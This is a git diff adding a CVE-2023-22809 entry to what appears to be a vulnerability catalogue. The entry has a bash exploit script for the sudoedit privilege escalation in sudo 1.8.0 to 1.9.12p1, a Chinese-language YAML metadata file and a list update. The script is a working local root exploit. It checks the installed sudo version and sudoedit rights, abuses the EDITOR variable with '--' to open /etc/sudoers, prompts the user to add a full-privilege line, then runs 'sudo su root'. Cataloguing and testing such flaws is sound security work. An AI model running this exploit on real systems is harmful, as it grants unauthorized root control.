diff --git a/cve/sudo/2023/CVE-2023-22809/CVE-2023-22809.sh b/cve/sudo/2023/CVE-2023-22809/CVE-2023-22809.sh new file mode 100644 index 0000000000000000000000000000000000000000..040199d397bddb24abc79413e11d8fa6bc4b2699 --- /dev/null +++ b/cve/sudo/2023/CVE-2023-22809/CVE-2023-22809.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# +# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation +# +# Exploit Author: n3m1.sys +# CVE: CVE-2023-22809 +# Date: 2023/01/21 +# Vendor Homepage: https://www.sudo.ws/ +# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz +# Version: 1.8.0 to 1.9.12p1 +# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 +# +# Running this exploit on a vulnerable system allows a localiattacker to gain +# a root shell on the machine. +# +# The exploit checks if the current user has privileges to run sudoedit or +# sudo -e on a file as root. If so it will open the sudoers file for the +# attacker to add a line to gain privileges on all the files and get a root +# shell. + +if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' +then + echo "> Currently installed sudo version is not vulnerable" + exit 1 +fi + +EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) + +if [ -z "$EXPLOITABLE" ]; then + echo "> It doesn't seem that this user can run sudoedit as root" + read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 +else + echo "> BINGO! User exploitable" +fi + +echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" +echo "$USER ALL=(ALL:ALL) ALL" +read -n 1 -s -r -p "Press any key to continue..." +EDITOR="vim -- /etc/sudoers" $EXPLOITABLE +sudo su root +exit 0 \ No newline at end of file diff --git a/cve/sudo/2023/yaml/CVE-2023-22809.yaml b/cve/sudo/2023/yaml/CVE-2023-22809.yaml new file mode 100644 index 0000000000000000000000000000000000000000..8fad732065c69fbaf8d90d4aa442ae726ecbd7c2 --- /dev/null +++ b/cve/sudo/2023/yaml/CVE-2023-22809.yaml @@ -0,0 +1,20 @@ +id: CVE-2023-22809 +source: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc +info: + name: Sudo 是一个用于类 Unix 计算机操作系统的程序,它能够使用户能够以另一个用户(默认是超级用户)的安全权限运行程序。sudoedit 功能用于以另外一个用户身份编辑文件。 + severity: high + description: + Sudo 受影响版本的 sudoedit 功能存在权限管理不当漏洞,漏洞源于 sudo_edit.c@sudo_edit() 方法未对用户通过“--”参数传入的文件名进行过滤,导致具有 sudoedit 权限的恶意用户可编辑系统中的任意文件。 + scope-of-influence: + sudo@[1.8.0, 1.9.12p2) + references: + - https://nvd.nist.gov/vuln/detail/CVE-2023-22809 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2023-22809 + cwe-id: CWE-269 + cnvd-id: None + kve-id: None + tags: + - 特权管理不当 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 1c5bc747c31ae17ccd5ccccbb4d9a00a67ca9f3c..5133d525053803ffd14715a59c5a25c196104e78 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -17,6 +17,7 @@ cve: - CVE-2022-2588 sudo: - CVE-2021-3156 + - CVE-2023-22809 gitlab: - CVE-2021-22205 confluence: